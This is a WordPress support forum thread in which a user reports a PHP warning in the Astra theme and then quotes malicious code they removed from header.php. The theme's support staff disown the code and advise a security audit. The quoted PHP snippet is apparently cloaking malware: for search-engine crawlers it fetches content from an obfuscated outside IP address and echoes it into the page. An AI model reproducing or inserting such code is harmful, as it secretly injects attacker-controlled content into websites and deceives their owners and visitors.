Title: PHP warning
Last modified: April 23, 2020

---

# PHP warning

 *  Resolved [waqassaleem378](https://wordpress.org/support/users/waqas7431/)
 * (@waqas7431)
 * [6 years, 1 month ago](https://wordpress.org/support/topic/php-warning-236/)
 * Hi, i am facing the following PHP warning with the Astra theme. the dashboard
   styles are not loading due to this error.
 * `Warning: Use of undefined constant HTTP_USER_AGENT - assumed 'HTTP_USER_AGENT'(
   this will throw an Error in a future version of PHP) in /wp-content/themes/astra/
   header.php on line 1`

Viewing 4 replies - 1 through 4 (of 4 total)

 *  Thread Starter [waqassaleem378](https://wordpress.org/support/users/waqas7431/)
 * (@waqas7431)
 * [6 years, 1 month ago](https://wordpress.org/support/topic/php-warning-236/#post-12721019)
 * I have fixed it by removing the following code from the header file
 * `<?php $botbotbot = "...".mb_strtolower($_SERVER[HTTP_USER_AGENT]);$botbotbot
   = str_replace(" ", "-", $botbotbot);if ((strpos($botbotbot,"google")) OR (strpos(
   $botbotbot,"bing")) OR (strpos($botbotbot,"yahoo"))){$ch = curl_init(); $xxx 
   = sqrt(30976); curl_setopt($ch, CURLOPT_URL, "http://$xxx.31.253.227/cakes/?useragent
   =$botbotbot&domain=$_SERVER[HTTP_HOST]"); $result = curl_exec($ch); curl_close(
   $ch); echo $result;}?>`
 *  [Team Brainstorm Force](https://wordpress.org/support/users/brainstormteam/)
 * (@brainstormteam)
 * [6 years, 1 month ago](https://wordpress.org/support/topic/php-warning-236/#post-12723878)
 * Hello [@waqas7431](https://wordpress.org/support/users/waqas7431/)
 * That’s strange and isn’t added from our end.
 * Here’s the [screenshot](https://share.getcloudapp.com/7Ku0mkzG) of the header.
   php file.
 * You can verify the same in the files downloaded from the WordPress [repository](https://wordpress.org/themes/astra/).
 * Also, we would recommend a security audit of your website.
 * I hope that helps.
 * Regards,
    Suman
 *  Thread Starter [waqassaleem378](https://wordpress.org/support/users/waqas7431/)
 * (@waqas7431)
 * [6 years, 1 month ago](https://wordpress.org/support/topic/php-warning-236/#post-12725928)
 * Yes, i was thinking so, and this was 2nd time happen with me. is there any security
   breach in the Astra Theme. there is another user reported the same issue. please
   see from the below link
    [https://wordpress.org/support/topic/use-of-undefined-constant-http_user_agent-assumed-http_user_agent/](https://wordpress.org/support/topic/use-of-undefined-constant-http_user_agent-assumed-http_user_agent/)
 * BTW i am deeply in love with Astra Theme 🙂 The Astra team makes life super easy.
 *  [Team Brainstorm Force](https://wordpress.org/support/users/brainstormteam/)
 * (@brainstormteam)
 * [6 years, 1 month ago](https://wordpress.org/support/topic/php-warning-236/#post-12738014)
 * Hello [@waqas7431](https://wordpress.org/support/users/waqas7431/)
 * We haven’t heard and the theme is tested very well for any security issues.
 * As mentioned previously, it could be other security issues on the website which
   is adding custom code to the active theme.
 * The custom code with $botbotbot you can see is not from our end causing the HTTP_USER_AGENT
   error.
 * I hope that clarifies.
 * Regards,
    Suman

Viewing 4 replies - 1 through 4 (of 4 total)

The topic ‘PHP warning’ is closed to new replies.

 * ![](https://i0.wp.com/themes.svn.wordpress.org/astra/4.13.3/screenshot.jpg)
 * Astra
 * [Support Threads](https://wordpress.org/support/theme/astra/)
 * [Active Topics](https://wordpress.org/support/theme/astra/active/)
 * [Unresolved Topics](https://wordpress.org/support/theme/astra/unresolved/)
 * [Reviews](https://wordpress.org/support/theme/astra/reviews/)

## Tags

 * [HTTP_USER_AGENT](https://wordpress.org/support/topic-tag/http_user_agent/)
 * [PHP Warning](https://wordpress.org/support/topic-tag/php-warning/)

 * 4 replies
 * 2 participants
 * Last reply from: [Team Brainstorm Force](https://wordpress.org/support/users/brainstormteam/)
 * Last activity: [6 years, 1 month ago](https://wordpress.org/support/topic/php-warning-236/#post-12738014)
 * Status: resolved